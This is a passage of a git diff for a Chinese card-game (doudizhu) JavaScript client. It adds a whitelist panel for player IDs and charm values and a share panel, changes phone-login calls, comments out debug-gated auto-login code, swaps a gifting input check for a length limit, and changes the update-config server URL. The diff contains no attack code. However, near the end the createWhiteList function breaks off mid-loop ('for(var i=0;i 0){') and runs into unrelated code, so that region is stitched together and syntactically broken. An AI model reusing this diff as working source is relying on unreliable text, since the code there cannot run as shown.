C_Player.openid + "&unionid=" + C_Player.unionid); + } } + break; case 3149: if (get_self(3148, 37)) { @@ -2377,6 +2458,59 @@ GameUI.utlmouseup = function(gameid, spid_down, downx, downy, spid_up, upx, upy, } } break; + case ConstVal.whiteList.f_spid: + // + var up_id = ifast_check_add(spid_up, upx, upy); + if (!GameData.whiteList.slide) { + if (up_id >= ConstVal.whiteList.del_tag) { + GameData.whiteList.selectTag = up_id - ConstVal.whiteList.del_tag; + //console.log(GameData.whiteList.data[GameData.whiteList.selectTag]); + var pinfo = GameData.whiteList.data[GameData.whiteList.selectTag]; + GameData.whiteList.delPid = pinfo[0]; + GameData.checkType = 8; + GameUI.openCheck("是否删除"+pinfo[0]+",当前魅力值:"+pinfo[2]); + } + if (up_id >= ConstVal.whiteList.bg_tag && up_id < ConstVal.whiteList.id_tag) { + GameData.whiteList.selectTag = up_id - ConstVal.whiteList.bg_tag; + //console.log(GameData.whiteList.data[GameData.whiteList.selectTag]); + GameUI.searchWhiteList(GameData.whiteList.data[GameData.whiteList.selectTag][0]); + } + } + break; + case 3281: + if(GameData.whiteList.inputId){ + GameData.checkType = 8; + GameData.whiteList.delPid = GameData.whiteList.inputId; + GameUI.openCheck("是否删除"+GameData.whiteList.inputId+",当前魅力值:"+GameData.whiteList.inputCharm); + }else{ + GameUI.OpenTips("请输入正确的玩家ID!",ConstVal.Tips.time); + } + break; + case 3276: + if(GameData.whiteList.inputId){ + GameData.checkType = 9; + GameData.whiteList.delPid = GameData.whiteList.inputId; + GameUI.openCheck("是否添加/修改"+GameData.whiteList.inputId+",魅力值:"+GameData.whiteList.inputCharm); + }else{ + GameUI.OpenTips("请输入正确的玩家ID!",ConstVal.Tips.time); + } + break; + case 3270: + case 3274: + GameUI.closeWhiteList(); + break; + case 3287: + Utl.openInputPanel("请输入玩家ID(长度六位)",whiteInputCallBack3); + break; + case 3275: + Utl.openInputPanel("请输入玩家ID(长度六位)",whiteInputCallBack1); + break; + case 3282: + Utl.openInputPanel("请输入魅力值",whiteInputCallBack2); + break; + case 3289: + GameUI.searchWhiteList(GameData.whiteList.searchId); + break; case 3217: //粘贴 GameData.gamepastetext = "mouseup_3217"; @@ -2445,7 +2579,8 @@ GameUI.utlmouseup = function(gameid, spid_down, downx, downy, spid_up, upx, upy, switch(GameData.phoneType){ case 1://手机号登录 if(GameData.phoneNumber && GameData.phoneCode){ - Func.deviceLogin(GameData.phoneNumber,GameData.phoneCode); + // Func.deviceLogin(GameData.phoneNumber,GameData.phoneCode); + Func.phoneLogin(GameData.phoneNumber,GameData.phoneCode); GameUI.closePhoneBind(); }else{ GameUI.OpenTips("手机号与验证码均不能为空!"); @@ -2483,7 +2618,7 @@ GameUI.utlmouseup = function(gameid, spid_down, downx, downy, spid_up, upx, upy, var data = {}; data.agentid = GameData.AgentId; data.phonenum = GameData.phoneNumber; - Net.Send_send_phone_checkcode(data); + Net.Send_send_phone_code_wechat(data); Logic.savePhoneCode(GameData.phoneNumber,""); GameUI.closePhoneBind(); GameUI.openPhoneBind(); @@ -2529,6 +2664,19 @@ GameUI.utlmouseup = function(gameid, spid_down, downx, downy, spid_up, upx, upy, Net.Send_topup_card(data); } break; + case 3268: + GameData.shareFriendInfo.sharetype = 3; + GameUI.closeSharePannel(); + Func.sharefriend(GameData.shareFriendInfo); + break; + case 3269: + GameData.shareFriendInfo.sharetype = 0; + GameUI.closeSharePannel(); + Func.sharefriend(GameData.shareFriendInfo); + break; + case 3267: + GameUI.closeSharePannel(); + break; } if (spid_up >= 376 && spid_up <= 385) { for (var i = 0; i < Desk.PlayerList.length; i++) { @@ -2704,6 +2852,13 @@ GameUI.utlmousemove = function(gameid, spid, downx, downy, movex, movey, timelon } break; + case ConstVal.whiteList.f_spid: + if (ifast_abs(offmovey) > 2) { + set_self(spid, 19, offmovey, 1, 0); + GameData.whiteList.slide = true; + } + + break; } @@ -2934,6 +3089,9 @@ GameUI.utlgamemydrawbegin = function(gameid, spid, times, timelong, no2, no3, no if (spid == ConstVal.blackList.f_spid) { set_clip(0, 0, ConstVal.blackList.clip_x, ConstVal.blackList.clip_y, ConstVal.blackList.clip_w, ConstVal.blackList.clip_h); } + if (spid == ConstVal.whiteList.f_spid) { + set_clip(0, 0, ConstVal.whiteList.clip_x, ConstVal.whiteList.clip_y, ConstVal.whiteList.clip_w, ConstVal.whiteList.clip_h); + } if (spid == ConstVal.vipRank.f_spid) { set_clip(0, 0, ConstVal.vipRank.clip_x, ConstVal.vipRank.clip_y, ConstVal.vipRank.clip_w, ConstVal.vipRank.clip_h); } @@ -3027,6 +3185,8 @@ GameUI.JumpWxAuth = function() { //跳转微信授权 //preAudio(); //setTimeout(function(){ //Func.getphoneInfo(); + //C_Player.Init(); + Logic.getPhoneInfo(); GameData.submitLocation = false; GameUI.stopMenuSceneAnimation(); @@ -3042,20 +3202,22 @@ GameUI.JumpWxAuth = function() { //跳转微信授权 if (GameData.hallConfig.betaText) { vText += GameData.hallConfig.betaText; } - set_self(285, 7, ""); + set_self(285, 7, vText); set_group(2, 37, 1, 0, 0); if(GameData.sysConfig.deviceLogin){ set_self(3,37,0,0,0); set_self(3254,37,1,0,0); - set_self(3255,37,1,0,0); + set_self(3255,37,0,0,0); + set_self(3254,18,490,0,0); + // set_self(3255,18,660,0,0); }else{ set_self(3,37,1,0,0); set_self(3254,37,0,0,0); set_self(3255,37,0,0,0); } var WxInfo = null; - if (!Game_Config.Debugger.isDebugger) { + //if (!Game_Config.Debugger.isDebugger) { if (GameData.versionState == 0) { if (GameData.h5Version == 1) { WxInfo = Logic.getWxInfo(); @@ -3063,23 +3225,27 @@ GameUI.JumpWxAuth = function() { //跳转微信授权 if(!GameData.sysConfig.deviceLogin){ WxInfo = Utl.getCookie(Utl.Config.wxinfo); }else{ - WxInfo = Utl.ReadData(Utl.Config.devicePlayer); + WxInfo = Utl.getCookie(Utl.Config.devicePlayer); + if(Utl.ReadData(Utl.Config.dLogin)){ + set_self(3254,37,1,0,0); + // set_self(3255,18,490,0,0); + } } } } - } else { - if (Game_Config.Debugger.AutoLogin) { - if (GameData.h5Version == 1) { - WxInfo = Logic.getWxInfo(); - } else { - if(!GameData.sysConfig.deviceLogin){ - WxInfo = Utl.getCookie(Utl.Config.wxinfo); - }else{ - WxInfo = Utl.ReadData(Utl.Config.devicePlayer); - } - } - } - } + //} else { + //if (Game_Config.Debugger.AutoLogin) { + //if (GameData.h5Version == 1) { + //WxInfo = Logic.getWxInfo(); + //} else { + //if(!GameData.sysConfig.deviceLogin){ + //WxInfo = Utl.getCookie(Utl.Config.wxinfo); + //}else{ + //WxInfo = Utl.ReadData(Utl.Config.devicePlayer); + //} + //} + //} + //} if (WxInfo) { WxInfo = JSON.parse(WxInfo); @@ -3123,6 +3289,11 @@ GameUI.JumpWxAuth = function() { //跳转微信授权 data.version = GameData.versionCode; data.channelid = GameData.ChannelId; data.marketid = GameData.marketID; + if(GameData.sysConfig.deviceLogin){ + C_Player.setTel(WxInfo.telphone); + data.telphone = WxInfo.telphone; + data.telphoneAuto = true; + } Net.Send_login(data); //},2000); //} @@ -3716,8 +3887,6 @@ GameUI.JumpMenuScene = function(_bTemp) { if (Game_Config.sysConfig) { if (!Game_Config.sysConfig.mainMenuButton) { //GameUI.startMenuSceneAnimation(); - set_self(568, 37, 0, 0, 0); - set_self(483, 37, 0, 0, 0); } else { set_self(11, 37, 0, 0, 0); set_self(12, 37, 0, 0, 0); @@ -3762,15 +3931,17 @@ GameUI.JumpMenuScene = function(_bTemp) { set_self(3233,37,0,0,0); } if(GameData.sysConfig.deviceLogin){ - set_self(3256,37,1,0,0); + set_self(3256,37,0,0,0); }else{ set_self(3256,37,0,0,0); } - if(C_Player.tel){ - set_self(3256,43,2,0,0); - }else{ - set_self(3256,43,1,0,0); - } + // if(C_Player.tel){ + // set_self(3256,43,2,0,0); + // play_ani(0,3256,35,255,100,0,1000,0,0,0,0,0,1); + // }else{ + // set_self(3256,43,1,0,0); + // play_ani(1,3256,35,255,100,0,1000,0,0,0,0,0,1); + // } if (ConstVal.isGameHall) { set_self(14, 37, 0, 0, 0); set_self(13, 37, 0, 0, 0); @@ -4653,44 +4824,50 @@ GameUI.updatePlayerInfoUI = function() { return; } } - for (var i = 0; i < Desk.PlayerList.length; i++) { - if (Desk.PlayerList[i].playerid != -1) { - var ind = Logic.ChangeToStatus(C_Player.seat, i); - var text = Func.subString(Desk.PlayerList[i].nickname, Game_Config.Info.Mainnickname, true); - set_self(406 + ind, 7, text, 0, 0); - if (ind == 0) { - if (Game_Config.Info.myPositionDefault) { - set_self(406 + ind, 18, get_self(376 + ind, 18, 0, 0, 0) + get_self(376 + ind, 20, 0, 0, 0) / 2 - text.gblen() * Game_Config.Info.textwidth_1 / 2, 0, 0); + if(typeof Game_Modify.updatePlayerInfoUI !== 'undefined'){ + for(var i = 0; i < Desk.PlayerList.length; i++){ + Game_Modify.updatePlayerInfoUI(i); + } + }else{ + for (var i = 0; i < Desk.PlayerList.length; i++) { + if (Desk.PlayerList[i].playerid != -1) { + var ind = Logic.ChangeToStatus(C_Player.seat, i); + var text = Func.subString(Desk.PlayerList[i].nickname, Game_Config.Info.Mainnickname, true); + set_self(406 + ind, 7, text, 0, 0); + if (ind == 0) { + if (Game_Config.Info.myPositionDefault) { + set_self(406 + ind, 18, get_self(376 + ind, 18, 0, 0, 0) + get_self(376 + ind, 20, 0, 0, 0) / 2 - text.gblen() * Game_Config.Info.textwidth_1 / 2, 0, 0); + } else { + set_self(406 + ind, 18, Game_Config.Info.myPosition - text.gblen() * Game_Config.Info.textwidth_1 / 2, 0, 0); + } } else { - set_self(406 + ind, 18, Game_Config.Info.myPosition - text.gblen() * Game_Config.Info.textwidth_1 / 2, 0, 0); + if (Game_Config.Info.otherPositionDefault) { + set_self(406 + ind, 18, get_self(376 + ind, 18, 0, 0, 0) + get_self(376 + ind, 20, 0, 0, 0) / 2 - text.gblen() * Game_Config.Info.textwidth_1 / 2, 0, 0); + } else { + set_self(406 + ind, 18, Game_Config.Info.position[ind - 1] - text.gblen() * Game_Config.Info.textwidth_1 / 2, 0, 0); + } } - } else { - if (Game_Config.Info.otherPositionDefault) { - set_self(406 + ind, 18, get_self(376 + ind, 18, 0, 0, 0) + get_self(376 + ind, 20, 0, 0, 0) / 2 - text.gblen() * Game_Config.Info.textwidth_1 / 2, 0, 0); - } else { - set_self(406 + ind, 18, Game_Config.Info.position[ind - 1] - text.gblen() * Game_Config.Info.textwidth_1 / 2, 0, 0); - } - } - set_self(436 + ind, 7, 0, 0, 0); - if (ind == 0) { - if (Game_Config.Info.myPositionDefault) { - set_self(436 + ind, 18, get_self(376 + ind, 18, 0, 0, 0) + get_self(376 + ind, 20, 0, 0, 0) / 2 - Game_Config.Info.textwidth_2 / 2, 0, 0); + set_self(436 + ind, 7, 0, 0, 0); + if (ind == 0) { + if (Game_Config.Info.myPositionDefault) { + set_self(436 + ind, 18, get_self(376 + ind, 18, 0, 0, 0) + get_self(376 + ind, 20, 0, 0, 0) / 2 - Game_Config.Info.textwidth_2 / 2, 0, 0); + } else { + set_self(436 + ind, 18, Game_Config.Info.myPosition - Game_Config.Info.textwidth_2 / 2, 0, 0); + } } else { - set_self(436 + ind, 18, Game_Config.Info.myPosition - Game_Config.Info.textwidth_2 / 2, 0, 0); + if (Game_Config.Info.otherPositionDefault) { + set_self(436 + ind, 18, get_self(376 + ind, 18, 0, 0, 0) + get_self(376 + ind, 20, 0, 0, 0) / 2 - Game_Config.Info.textwidth_2 / 2, 0, 0); + } else { + set_self(436 + ind, 18, Game_Config.Info.position[ind - 1] - Game_Config.Info.textwidth_2 / 2, 0, 0); + } } + Func.up_imgurl(116 + ind, Desk.PlayerList[i].avatar); + set_group(43 + ind, 37, 1, 0, 0); } else { - if (Game_Config.Info.otherPositionDefault) { - set_self(436 + ind, 18, get_self(376 + ind, 18, 0, 0, 0) + get_self(376 + ind, 20, 0, 0, 0) / 2 - Game_Config.Info.textwidth_2 / 2, 0, 0); - } else { - set_self(436 + ind, 18, Game_Config.Info.position[ind - 1] - Game_Config.Info.textwidth_2 / 2, 0, 0); - } + var ind = Logic.ChangeToStatus(C_Player.seat, i); + set_group(43 + ind, 37, 0, 0, 0); } - Func.up_imgurl(116 + ind, Desk.PlayerList[i].avatar); - set_group(43 + ind, 37, 1, 0, 0); - } else { - var ind = Logic.ChangeToStatus(C_Player.seat, i); - set_group(43 + ind, 37, 0, 0, 0); } } } @@ -4706,38 +4883,44 @@ GameUI.PlayerJoinRoom = function(seat) { //玩家加入房间显示 return; } } - var ind = Logic.ChangeToStatus(C_Player.seat, seat); - var text = Func.subString(Desk.PlayerList[seat].nickname, Game_Config.Info.Mainnickname, true); - set_self(406 + ind, 7, text, 1, 0); - if (ind == 0) { - if (Game_Config.Info.myPositionDefault) { - set_self(406 + ind, 18, get_self(376 + ind, 18, 0, 0, 0) + get_self(376 + ind, 20, 0, 0, 0) / 2 - text.gblen() * Game_Config.Info.textwidth_1 / 2, 0, 0); - } else { - set_self(406 + ind, 18, Game_Config.Info.myPosition - text.gblen() * Game_Config.Info.textwidth_1 / 2, 0, 0); + if(typeof Game_Modify.updatePlayerInfoUI !== 'undefined'){ + for(var i = 0; i < Desk.PlayerList.length; i++){ + Game_Modify.updatePlayerInfoUI(i); } - } else { - if (Game_Config.Info.otherPositionDefault) { - set_self(406 + ind, 18, get_self(376 + ind, 18, 0, 0, 0) + get_self(376 + ind, 20, 0, 0, 0) / 2 - text.gblen() * Game_Config.Info.textwidth_1 / 2, 0, 0); + }else{ + var ind = Logic.ChangeToStatus(C_Player.seat, seat); + var text = Func.subString(Desk.PlayerList[seat].nickname, Game_Config.Info.Mainnickname, true); + set_self(406 + ind, 7, text, 1, 0); + if (ind == 0) { + if (Game_Config.Info.myPositionDefault) { + set_self(406 + ind, 18, get_self(376 + ind, 18, 0, 0, 0) + get_self(376 + ind, 20, 0, 0, 0) / 2 - text.gblen() * Game_Config.Info.textwidth_1 / 2, 0, 0); + } else { + set_self(406 + ind, 18, Game_Config.Info.myPosition - text.gblen() * Game_Config.Info.textwidth_1 / 2, 0, 0); + } } else { - set_self(406 + ind, 18, Game_Config.Info.position[ind - 1] - text.gblen() * Game_Config.Info.textwidth_1 / 2, 0, 0); + if (Game_Config.Info.otherPositionDefault) { + set_self(406 + ind, 18, get_self(376 + ind, 18, 0, 0, 0) + get_self(376 + ind, 20, 0, 0, 0) / 2 - text.gblen() * Game_Config.Info.textwidth_1 / 2, 0, 0); + } else { + set_self(406 + ind, 18, Game_Config.Info.position[ind - 1] - text.gblen() * Game_Config.Info.textwidth_1 / 2, 0, 0); + } } + set_self(436 + ind, 7, 0, 0, 0); + if (ind == 0) { + if (Game_Config.Info.myPositionDefault) { + set_self(436 + ind, 18, get_self(376 + ind, 18, 0, 0, 0) + get_self(376 + ind, 20, 0, 0, 0) / 2 - Game_Config.Info.textwidth_2 / 2, 0, 0); + } else { + set_self(436 + ind, 18, Game_Config.Info.myPosition - Game_Config.Info.textwidth_2 / 2, 0, 0); + } + } else { + if (Game_Config.Info.otherPositionDefault) { + set_self(436 + ind, 18, get_self(376 + ind, 18, 0, 0, 0) + get_self(376 + ind, 20, 0, 0, 0) / 2 - Game_Config.Info.textwidth_2 / 2, 0, 0); + } else { + set_self(436 + ind, 18, Game_Config.Info.position[ind - 1] - Game_Config.Info.textwidth_2 / 2, 0, 0); + } + } + Func.up_imgurl(116 + ind, Desk.PlayerList[seat].avatar); + set_group(43 + ind, 37, 1, 0, 0); } - set_self(436 + ind, 7, 0, 0, 0); - if (ind == 0) { - if (Game_Config.Info.myPositionDefault) { - set_self(436 + ind, 18, get_self(376 + ind, 18, 0, 0, 0) + get_self(376 + ind, 20, 0, 0, 0) / 2 - Game_Config.Info.textwidth_2 / 2, 0, 0); - } else { - set_self(436 + ind, 18, Game_Config.Info.myPosition - Game_Config.Info.textwidth_2 / 2, 0, 0); - } - } else { - if (Game_Config.Info.otherPositionDefault) { - set_self(436 + ind, 18, get_self(376 + ind, 18, 0, 0, 0) + get_self(376 + ind, 20, 0, 0, 0) / 2 - Game_Config.Info.textwidth_2 / 2, 0, 0); - } else { - set_self(436 + ind, 18, Game_Config.Info.position[ind - 1] - Game_Config.Info.textwidth_2 / 2, 0, 0); - } - } - Func.up_imgurl(116 + ind, Desk.PlayerList[seat].avatar); - set_group(43 + ind, 37, 1, 0, 0); } GameUI.PlayerLeaveRoom = function(seat) { //玩家加入房间显示 var ind = Logic.ChangeToStatus(C_Player.seat, seat); @@ -4750,6 +4933,7 @@ GameUI.OpenApply = function(bTemp, time) { //打开申请解散投票界面 GameUI.CloseChat(); set_self(369, 7, "三人及以下全部同意达成解散,\n三人以上超过半数同意达成解散"); this.VoteList = []; + for (var i = 0; i < Desk.agreefree.length; i++) { if (Desk.agreefree[i] != null && Desk.agreefree[i] != 0) { this.VoteList.push(i); @@ -4774,7 +4958,7 @@ GameUI.OpenApply = function(bTemp, time) { //打开申请解散投票界面 set_self(191, 7, "发起投票:【" + Desk.GetPlayerBySeat(this.ApplyPlayer).nickname + "】\n\n请问是否同意?(倒计时结束未选择,则默认同意)", 0, 0); set_group(29, 37, 1, 0, 0); - for (var i = this.VoteList.length; i < Desk.PlayerList.length - 1; i++) { + for (var i = this.VoteList.length; i <10; i++) { set_self(264 + i, 37, 0, 0, 0); set_self(166 + i, 37, 0, 0, 0); } @@ -4782,6 +4966,7 @@ GameUI.OpenApply = function(bTemp, time) { //打开申请解散投票界面 set_self(201, 37, 0, 0, 0); set_self(202, 37, 0, 0, 0); } + set_self(223, 37, 0, 0, 0); this.StartVoteCountDown(time); @@ -4808,7 +4993,7 @@ GameUI.OpenApplyResult = function(bTemp, agreelist) { set_self(166 + i, 7, "同意", 0, 0); } set_group(29, 37, 1, 0, 0); - for (var i = vlist.length; i < Desk.PlayerList.length - 1; i++) { + for (var i = vlist.length; i < 10; i++) { set_self(264 + i, 37, 0, 0, 0); set_self(166 + i, 37, 0, 0, 0); } @@ -4820,7 +5005,7 @@ GameUI.OpenApplyResult = function(bTemp, agreelist) { set_self(191, 7, "投票结果:\n\n拒绝解散玩家:【" + Desk.GetPlayerBySeat(agreelist[0]).nickname + "】", 0, 0); set_group(29, 37, 1, 0, 0); - for (var i = 0; i < Desk.PlayerList.length - 1; i++) { + for (var i = agreelist.length - 1; i < 10; i++) { set_self(264 + i, 37, 0, 0, 0); set_self(166 + i, 37, 0, 0, 0); } @@ -6334,7 +6519,7 @@ GameUI.CalInput = function(spid) { set_self(373, 20, GameData.Multiple.length * 36, 0, 0); set_self(373, 18, get_self(372, 18, 0, 0, 0) + get_self(372, 20, 0, 0, 0) / 2 - GameData.Multiple.length * 18, 0, 0); } else { - GameUI.OpenTips("输入不合法!", ConstVal.Tips.time); + GameUI.OpenTips("输入不正确!", ConstVal.Tips.time); } } } @@ -6373,7 +6558,7 @@ GameUI.CalInput = function(spid) { set_self(370, 20, GameData.Multiple.length * 28, 0, 0); set_self(283, 20, 203 + GameData.Multiple.length * 28, 0, 0); } else { - GameUI.OpenTips("输入不合法!", ConstVal.Tips.time); + GameUI.OpenTips("输入不正确!", ConstVal.Tips.time); } } } @@ -7972,8 +8157,9 @@ GameUI.showWareHouseTable = function() { set_self(3060, 37, 1, 0, 0); set_self(3061, 37, 1, 0, 0); set_self(3062, 37, 1, 0, 0); - - + set_self(3081,1,170,0,0); + set_self(3082,7,'',0,0); + set_self(3083,7,'',0,0); break; } switch (GameData.wareHouse.page) { @@ -8032,7 +8218,7 @@ GameUI.switchWareHousePage = function(page, bTemp) { //set_self(3060,18,ConstVal.wareHouse.tableBgX[1],0,0); //set_self(3061,18,ConstVal.wareHouse.tableTextX[0],0,0); //set_self(3062,18,ConstVal.wareHouse.tableTextX[1],0,0); - + GameUI.updateWareHousePlayerInfo(); set_self(3059, 43, 2, 0, 0); set_self(3060, 43, 1, 0, 0); set_self(3061, 43, 2, 0, 0); @@ -8050,6 +8236,15 @@ GameUI.switchWareHousePage = function(page, bTemp) { } GameUI.updateWareHouseCheckBox(); } +//初始化赠送数据 +GameUI.initGiveData = function(){ + GameData.wareHouse.pNickName = ''; + GameData.wareHouse.pId=''; + GameData.wareHouse.pImg=''; + GameData.wareHouse.pInputPassWord=''; + GameData.wareHouse.pInputCount = -1; + GameData.wareHouse.pInputId = -1; +} //更新输入框内容 GameUI.updateWareHouseInput = function() { //var bTemp = C_Player.bankpwd; @@ -8063,7 +8258,7 @@ GameUI.updateWareHouseInput = function() { set_group(92, 37, 0, 0, 0); if (GameData.wareHouse.initPassWord1 == GameData.wareHouse.initPassWord2) { if (GameData.wareHouse.initPassWord1 != -1 && String(GameData.wareHouse.initPassWord1).length != 0) { - set_self(3073, 7, "输入合法!"); + set_self(3073, 7, "输入符合规则!"); } else { set_self(3073, 7, "密码不能为空!"); set_self(3069, 37, 1, 0, 0); @@ -8319,6 +8514,7 @@ GameUI.wareHouseInputNumber = function(type, _input) { //id switch (type) { case 1: + if (GameData.wareHouse.pInputId == -1) { GameData.wareHouse.pInputId = _input; } else if (String(GameData.wareHouse.pInputId).length >= 6) { @@ -8356,9 +8552,14 @@ GameUI.wareHouseInputNumber = function(type, _input) { } else { var cTemp = Number(String(GameData.wareHouse.pInputCount) + _input); //验证输入星星合法性 - if (GameUI.checkWareHouseInput(cTemp, GameData.wareHouse.pInputType, 1)[0]) { - GameData.wareHouse.pInputCount = cTemp; + if(String(cTemp).length> 10){ + GameUI.OpenTips("输入超出限制!",ConstVal.Tips.time); + }else{ + GameData.wareHouse.pInputCount = cTemp; } + //if (GameUI.checkWareHouseInput(cTemp, GameData.wareHouse.pInputType, 1)[0]) { + // GameData.wareHouse.pInputCount = cTemp; + //} } GameUI.updateWareHouseInput(); break; @@ -8366,11 +8567,11 @@ GameUI.wareHouseInputNumber = function(type, _input) { if (GameData.wareHouse.pInputCount == -1 || String(GameData.wareHouse.pInputCount).length == 1) { GameData.wareHouse.pInputCount = -1; } else { - //if(String(GameData.wareHouse.pInputCount).length == 1){ - //GameData.wareHouse.pInputCount = -1; - //}else{ - GameData.wareHouse.pInputCount = Number(String(GameData.wareHouse.pInputCount).substring(0, String(GameData.wareHouse.pInputCount).length - 1)); - //} + if(String(GameData.wareHouse.pInputCount).length > 10){ + GameUI.OpenTips("输入超出限制!",ConstVal.Tips.time); + }else{ + GameData.wareHouse.pInputCount = Number(String(GameData.wareHouse.pInputCount).substring(0, String(GameData.wareHouse.pInputCount).length - 1)); + } } GameUI.updateWareHouseInput(); @@ -8566,18 +8767,29 @@ GameUI.updateWareHousePlayerInfo = function() { set_self(3082, 7, "", 0, 0); } if (GameData.wareHouse.pId) { - set_self(3083, 7, " ID: " + GameData.wareHouse.pId, 0, 0); + set_self(3083, 7, "ID: " + GameData.wareHouse.pId, 0, 0); } else { set_self(3083, 7, "", 0, 0); } - - Func.up_imgurl(336, GameData.wareHouse.pImg); + if(GameData.wareHouse.pImg){ + Func.up_imgurl(336, GameData.wareHouse.pImg); + set_self(3081,1,336,0,0); + }else{ + set_self(3081,1,170,0,0); + } + } GameUI.updateCount = function() { - GameUI.setNumberImage(3033, C_Player.wareHouseStarCount, 27); //仓库库存数量 - GameUI.setNumberImage(3079, C_Player.bean, 27); //携带的星星数量 - GameUI.setNumberImage(3080, C_Player.roomcard, 27); //房卡数量 + if(GameData.wareHouse.page == 1){ + GameUI.setNumberImage(3033, C_Player.wareHouseStarCount, 27); //仓库库存数量 + GameUI.setNumberImage(3079, C_Player.bean, 27); //携带的星星数量 + GameUI.setNumberImage(3080, C_Player.roomcard, 27); //房卡数量 + }else{ + GameUI.setNumberImage(3033, C_Player.wareHouseStarCount, 27); //仓库库存数量 + GameUI.setNumberImage(3079, C_Player.wareHouseStarCount, 27); //携带的星星数量 + GameUI.setNumberImage(3080, C_Player.roomcard, 27); //房卡数量 + } } //开启广告倒计时 GameUI.startAdCountDown = function() { @@ -9203,7 +9415,11 @@ GameUI.createVipRoomListPageTwo = function() { } //桌号 var code = ifast_addtospritefromspritecopy(ConstVal.vipRoomList2.f_spid, ConstVal.vipRoomList2.code_spid, plx + ConstVal.vipRoomList2.code_x, ply + ConstVal.vipRoomList2.code_y, ConstVal.vipRoomList2.code_tag + i); - set_self(code, 7, rData.roomcodes.roomlist[i], 0, 0); + //set_self(code, 7, rData.roomcodes.roomlist[i], 0, 0); + var dTag = i + 1; + set_self(code, 7, dTag, 0, 0); + set_self(code, 20, String(dTag).length * 23, 0, 0); + GameUI.adaptPositionSpid(code,bg); //人数 var count = ifast_addtospritefromspritecopy(ConstVal.vipRoomList2.f_spid, ConstVal.vipRoomList2.count_spid, plx + ConstVal.vipRoomList2.count_x, ply + ConstVal.vipRoomList2.count_y, ConstVal.vipRoomList2.count_tag + i); var coTxt = 0; @@ -9488,7 +9704,143 @@ GameUI.setCodeTime = function(time){ GameUI.setNumberImage(3246,codeTime,21); GameUI.adaptPositionSpid(3246,3245); } - +GameUI.openSharePannel = function(){ + set_group(107,37,1,0,0); +} +GameUI.closeSharePannel = function(){ + set_group(107,37,0,0,0); +} +GameUI.openWhiteList = function(){ + set_group(108,37,1,0,0); + GameData.whiteList.inputId = ""; + GameUI.updatePlayerID(); + GameData.whiteList.inputCharm = ""; + GameUI.updateCharm(); + GameData.whiteList.searchId = ""; + GameUI.updateSearch(); + //set_self(3261,7,"解散该玩家所在房间(已开战提前解散)",0,0); + //blackInputCallBack(""); + + GameUI.createWhiteList(); +} +GameUI.updateCharm = function(){ + if(GameData.whiteList.inputCharm){ + //set_self(3212,7,GameData.blackList.inputId,0,0); + GameUI.setTextSpid(3283,GameData.whiteList.inputCharm,GameData.whiteList.idWidth); + }else{ + //set_self(3212,7,"点击输入玩家ID",0,0); + GameData.whiteList.inputCharm = 0; + GameUI.setTextSpid(3283,"0",GameData.blackList.idWidth); + } + GameUI.adaptPositionSpid(3283,3282); +} +GameUI.updatePlayerID = function(){ + if(GameData.whiteList.inputId){ + //set_self(3212,7,GameData.blackList.inputId,0,0); + GameUI.setTextSpid(3280,GameData.whiteList.inputId,GameData.whiteList.idWidth); + }else{ + //set_self(3212,7,"点击输入玩家ID",0,0); + GameUI.setTextSpid(3280,"玩家ID",GameData.blackList.idWidth); + } + GameUI.adaptPositionSpid(3280,3275); +} +GameUI.updateSearch = function(){ + if(GameData.whiteList.searchId){ + //set_self(3212,7,GameData.blackList.inputId,0,0); + GameUI.setTextSpid(3288,GameData.whiteList.searchId,GameData.whiteList.idWidth); + }else{ + //set_self(3212,7,"点击输入玩家ID",0,0); + GameUI.setTextSpid(3288,"玩家ID",GameData.blackList.idWidth); + } + GameUI.adaptPositionSpid(3288,3287); +} +GameUI.closeWhiteList = function(){ + set_group(108,37,0,0,0); +} +GameUI.searchWhiteList = function(pid){ + if(!pid){ + GameUI.OpenTips("请输入玩家ID",ConstVal.Tips.time); + return; + } + var tmp = false; + for(var i=0;i< GameData.whiteList.data.length;i++ ){ + if(GameData.whiteList.data[i] && GameData.whiteList.data[i][0] == pid){ + GameData.whiteList.inputId = pid; + GameData.whiteList.inputCharm = GameData.whiteList.data[i][2]; + GameUI.updatePlayerID(); + GameUI.updateCharm(); + tmp = true; + break; + } + } + if(!tmp){ + GameUI.OpenTips("该玩家不在名单中",ConstVal.Tips.time); + } +} + +var whiteInputCallBack1 = function(data){ + if(String(data).length == 6){ + Utl.closeInputPanel(); + GameData.whiteList.inputId = data; + GameUI.updatePlayerID(); + }else{ + GameUI.OpenTips("玩家id长度为6位!",ConstVal.Tips.time); + } +} +var whiteInputCallBack2 = function(data){ + Utl.closeInputPanel(); + GameData.whiteList.inputCharm = data; + GameUI.updateCharm(); +} +var whiteInputCallBack3 = function(data){ + if(String(data).length == 6){ + Utl.closeInputPanel(); + GameData.whiteList.searchId = data; + GameUI.updateSearch(); + }else{ + GameUI.OpenTips("玩家id长度为6位!",ConstVal.Tips.time); + } +} +GameUI.createWhiteList = function(){ + GameUI.removeWhiteList(); + set_self(ConstVal.whiteList.f_spid,18,ConstVal.whiteList.clip_x,0,0); + set_self(ConstVal.whiteList.f_spid,19,ConstVal.whiteList.clip_y,0,0); + var space = get_self(ConstVal.whiteList.bg_spid,21,0,0,0) + ConstVal.whiteList.space; + var listLength = GameData.whiteList.data.length; + set_self(ConstVal.whiteList.f_spid,21,listLength*space,0,0); + for(var i=0;i 0){ + gameCombat.get_player_grade1({ data: {gradeinfo : locRecords}}); + } + Game_Modify.gameView.locRecordsClick[0] = 1; + Game_Modify.gameView.locRecordsClick[1] = 0; + set_self(83,43,1,0,0); + }catch(e){ + //alert(e); + //TODO handle the exception + } +} diff --git a/games/games/Projects/clinet/doudizhu/js/01_SubGame/00_SubGame_Config.js b/games/games/Projects/clinet/doudizhu/js/01_SubGame/00_SubGame_Config.js index c1fdbb3..ee7eb0f 100644 --- a/games/games/Projects/clinet/doudizhu/js/01_SubGame/00_SubGame_Config.js +++ b/games/games/Projects/clinet/doudizhu/js/01_SubGame/00_SubGame_Config.js @@ -6,9 +6,9 @@ Game_Config.Debugger={//调试配置 visitorLogin : true,//隐藏式游客登录 visiblePay:true,//审核通过后是否显示支付按钮 serverType:0,//0->正式服务器 1->测试服务器 2->本地服务器 - gameserver:"http://testgame.youlehdyx.com/update_json/ceshi_json.txt"+"?"+ifast_random(100000) + gameserver:"https://tsgames.daoqi88.cn/config/update_jsonv2.txt"+"?"+ifast_random(100000) //gameserver:"https://projectimage.tscce.cn/avatar/nickname1.txt"+"?"+ifast_random(100000) - //gameserver:"http://ylyxservice1.0791ts.cn/config/update_json.txt"+"?"+ifast_random(100000) + // gameserver:"https://tsgames.daoqi88.cn/config/beta_update_jsonv2.txt"+"?"+ifast_random(100000) }; 